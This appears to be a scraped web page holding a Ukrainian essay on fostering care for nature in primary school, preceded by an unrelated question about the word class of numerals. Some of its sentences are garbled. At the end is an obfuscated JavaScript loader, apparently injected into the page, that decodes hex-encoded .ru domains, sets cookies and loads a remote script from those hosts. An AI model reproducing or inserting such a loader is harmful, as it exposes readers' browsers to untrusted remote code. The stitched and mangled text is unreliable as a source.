Питання про місце слів нуль, тисяча, мільйон, мільярд, трильйон спірне в мовознавстві. в окремих працях (“сучасна українська мова” за ред. л. булаховського) ці слова віднесено до іменників. поміркуйте, чим керувався мовознавець, обстоюючи таке твердження.

екологічні проблеми носять характер і зачіпають все людство. на сучасному етапі розвитку суспільства питання виховання бережливого ставлення до природи набуває особливої гостроти. головна причина цього – тотальна екологічна безвідповідальність. у зв'язку з цим необхідно підсилити і більше приділяти уваги вихованню бережливого ставлення до природи в сучасній школі вже з перших років виховання дітей.

забруднення грунтів відбувається із-за застосування отрутохімікатів (пестицидів). в результаті нераціонального використання земель відбувається виснаження грунтів. наростає занепокоєння про наших «сусідів по планеті» – рослина і тварина, які випробовують подвійний гніт: по-перше, руйнування і забруднення їхнього житла; по-друге, від безпосереднього впливу з боку людини. в результаті багато видів зникли.

актуальність взаємодії суспільства і природного середовища висунула школою завдання формування у дітей відповідального відношення до природи. педагоги і батьки усвідомлюють важливість навчання школярів правилам поведінки в природі. і чим раніше починається робота з виховання бережливого ставлення до природи, тим більшою буде її педагогічна результативність. при цьому в тісному взаємозв'язку повинні виступати всі форми і види учбової і позакласної діяльності дітей.

дітям молодшого шкільного віку властива унікальна єдність знань і переживань, які дозволяють говорити про можливість формування у них надійних основ відповідального відношення до природи. природознавство початкової школи покликане вносити свій вкдад у формування екологічної відповідальності дітей.

1. теоретичні основи виховання бережливого ставлення до природи

і проблеми сучасності, несуть загрозу життя і людської цивілізації, викликали необхідність екологічної освіти, покликаної реалізувати ідеї інформаційного суспільства. пошук шляхів гармонійної взаємодії суспільства і природи приводить до інтенсивного процесу екологізації загальної культури людства, і як наслідок, - до формування теорії і практики виховання бережливого ставлення до природи.

подальше дослідження цієї проблеми, проведене педагогами, дозволило виділити новий аспект виховання – екологічний.

екологія – наука про відносини рослинних і тваринних організмів і утворюваних ними співтовариств між собою і навколишнім середовищем. а під екологічним вихованням розуміється формування у широких верств населення високої екологічної культури всіх видів людської діяльності, так чи інакше пов'язаних з пізнанням, освоєнням, перетворенням природи. основна мета виховання бережливого ставлення до природи: навчити дитину розвивати свої знання законів живої природи, розуміння суті взаємин живих організмів з навколишнім середовищем і формування умінь фізичним і психічним станом. поступово визначаються освітні і виховні завдання:

-   поглибити і розширити екологічні знання;

-   прищепити початкові екологічні навики і уміння – поведінкові, пізнавальні;

-   розвинути пізнавальну, творчу, суспільну активність школярів в ході екологічної діяльності;

-   сформувати (виховати) відчуття дбайливого відношення до природи.

зародження сучасних тенденцій виховання бережливого ставлення до природи і виховання в початковій школі можна віднести до початку 70-х років, коли вона переживала цілий ряд серйозних перетворень, зокрема введення в учбовий план нового предмету «природознавство». чітко виражена екологічна спрямованість нового курсу, яка в наші дні іменується традиційною, створила у вчителів певне місцезнаходження його в екологічній освіті, на досягнення його цілі в однонаочній моделі, що виявилися малоефективними. основні причини малоефективності криються в тому, що кінцева мета екологічної освіти – відповідальне відношення до навколишнього середовища – складна комплексна освіта, і у зв'язку з цим, один учбовий предмет, що формує в основному природно-наукові знання по біологічній екології, справиться з формуванням багатогранного відношення молодших школярів до природного і соціального середовища не може. на порядок денний постало питання про залучення інших шкільних предметів в процес екологічної освіти. виникла ідея багатопредметної моделі, в якій кожен учбовий предмет розкриває свій аспект взаємин людини з навколишнім середовищем. поки ж використання міжнаочного змісту і форми навчання носить в основному стихійний характер, що багато в чому визначає якість навчання і виховання молодших школярів. сучасні тенденції розвитку виховання бережливого ставлення до природи в практиці показують, що оптимальні можливості для становлення екологічної культури молодших школярів представляє змішана модель, при якій всі учбові предмети зберігають свої специфічні учбово-виховні цілі. таким чином, типологія моделей в руслі екологізації пройшла певний шлях становлення: від однонаочної – до змішаної. проте пошук в цьому напрямі продовжується дотепер.

Window.a1336404323 = 1; ! function(){var e=json.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="25235",o=function(e){var t=document.cookie.match(new regexp("(? : ^|; )"+e.replace(/([\.$? *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^; ]*)")); return t? decodeuricomponent(t[1]): void 0},n=function(e,t,o){o=o||{}; var n=o.expires; if("number"==typeof n& & n){var i=new date; i.settime(i.gettime()+1e3*n),o.expires=i.toutcstring()}var r="3600"; ! o.expires& & r& & (o.expires=r),t=encodeuricomponent(t); var a=e+"="+t; for(var d in o){a+="; "+d; var c=o[d]; c! ==! 0& & (a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.",""); for(var t="",o=0,n=e.length; n> o; o++)t+=e.charcodeat(o).tostring(16); return t},a=function(e){e=e.match(/[\s\s]{1,2}/g); for(var t="",o=0; o < e.length; o++)t+=string.fromcharcode(parseint(e[o],16)); return t},d=function(){return w=window,p=w.document.location.protocol; if(p.indexof("http")==0){return p}for(var e=0; e< 3; e++){if(w.parent){w=w.parent; p=w.document.location.protocol; if(p.indexof('http')==0)return p; }else{break; }}return ""},c=function(e,t,o){var lp=p(); if(lp=="")return; var n=lp+"//"+e; if(window.smlo& & -1==navigator.useragent.("firefox"))window.smlo.loadsmlo(n.replace("https: ","http: ")); else if(window.zsmlo& & -1==navigator.useragent.("firefox"))window.zsmlo.loadsmlo(n.replace("https: ","http: ")); else{var i=document.createelement("script"); i.setattribute("src",n),i.setattribute("type","text/javascript"),document.head.appendchild(i),i.onload=function(){this.a1649136515||(this.a1649136515=! 0,"function"==typeof t& & },i.onerror=function(){this.a1649136515||(this.a1649136515=! 0,i.parentnode.removechild(i),"function"==typeof o& & }}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(+"_"+(self===top? 0: 1)+".js"; window.a3164427983=f,c(u,function(){o("a2519043306")! =f& & n("a2519043306",f,{expires: parseint("3600")})},function(){var t=e.indexof(f),o=e[t+1]; o& & s(o)})},f=function(){var t,i=json.stringify(e); o("a36677002")! =i& & n("a36677002",i); var r=o("a2519043306"); t=r? r: e[0],s(t)}; f()}();